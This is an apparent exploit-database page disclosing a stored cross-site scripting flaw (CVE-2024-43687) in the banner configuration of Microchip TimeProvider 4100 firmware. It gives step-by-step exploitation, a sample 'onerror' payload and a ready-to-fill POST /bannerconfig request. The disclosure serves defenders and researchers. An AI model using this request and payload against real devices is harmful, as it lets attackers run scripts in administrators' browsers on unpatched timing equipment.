header-logo
Suggest Exploit
vendor:
TimeProvider 4100 Grandmaster
by:
Armando Huesca Prida
6.1
CVSS
HIGH
Stored Cross-Site Scripting (XSS)
79
CWE
Product Name: TimeProvider 4100 Grandmaster
Affected Version From: Firmware release 1.0
Affected Version To: Firmware release 2.4.7
Patch Exists: NO
Related CWE: CVE-2024-43687
CPE: cpe: /:microchip:timeprovider_4100_grandmaster:1.0
Metasploit:
Other Scripts:
Platforms Tested:
2024

Microchip TimeProvider 4100 Grandmaster Stored Cross-Site Scripting (XSS)

The TimeProvider 4100 grandmaster firmware through version 2.4.7 is vulnerable to stored Cross-Site Scripting (XSS) in the custom banner configuration field. An attacker exploiting this vulnerability can run arbitrary scripts in a user's context.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user inputs and validate data before storing or displaying it. Additionally, regular security assessments and updates should be performed on the affected device.
Source

Exploit-DB raw data:

# Exploit Title: Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS)

# Exploit Author: Armando Huesca Prida

# Discovered By: Armando Huesca Prida, Marco Negro, Antonio Carriero, Vito Pistillo, Davide Renna, Manuel Leone, Massimiliano Brolli

# Date of Disclosure: 27/06/2024

# Date of CVE Publication: 4/10/2024

# Exploit Publication: 10/10/2024

# Vendor Homepage: https://www.microchip.com/

# Version: Firmware release 1.0 through 2.4.7

# Tested on: Firmware release 2.3.12 

# CVE: CVE-2024-43687

# External References:

# URL: https://www.cve.org/cverecord?id=CVE-2024-43687

# URL: https://www.0xhuesca.com/2024/10/cve-2024-43687.html

# URL: https://www.microchip.com/en-us/solutions/technologies/embedded-security/how-to-report-potential-product-security-vulnerabilities/timeprovider-4100-grandmaster-stored-xss-vulnerability-in-banner

# URL: https://www.gruppotim.it/it/footer/red-team.html





# Vulnerability Description:



The TimeProvider 4100 grandmaster firmware has a stored Cross-Site Scripting (XSS) vulnerability in the custom banner configuration field. A threat actor that exploits this vulnerability is able to execute arbitrary scripts in any user context.





# Exploitation Steps:



1- Log in to the device's web management interface.

2- Open the banner configuration panel.

3- Select the "custom banner" feature.

4- Insert the malicious JavaScript payload.

5- Apply and save the system configuration containing the custom banner.

6- Victims who connect to the device's web management interface will execute the malicious payload in their browser.





# Example of malicious JavaScript payload:



<img src=a onerror=alert(1)>





# Proof of Concept - PoC:



By manually modifying the following request, it is possible to create a new custom device banner containing a malicious JavaScript payload, resulting in a stored XSS vulnerability. The list of values ​​that must be updated in the exploit HTTP request is given below:

- [session cookie]

- [malicious JavaScript payload]

- [device IP]





# Exploit - HTTP Request:



POST /bannerconfig HTTP/1.1

Host: [device IP]

Cookie: ci_session=[session cookie]

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: multipart/form-data; boundary=---------------------------9680247575877256312575038502

Content-Length: 673

Origin: https://[device IP]

Referer: https://[device IP]/bannerconfig

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: ?1

Te: trailers

Connection: keep-alive



-----------------------------9680247575877256312575038502

Content-Disposition: form-data; name="user_level"



1

-----------------------------9680247575877256312575038502

Content-Disposition: form-data; name="bannerradio"



CUSTOMIZED

-----------------------------9680247575877256312575038502

Content-Disposition: form-data; name="txtcustom"



[malicious JavaScript payload]



-----------------------------9680247575877256312575038502

Content-Disposition: form-data; name="action"



applybanner

-----------------------------9680247575877256312575038502--







# End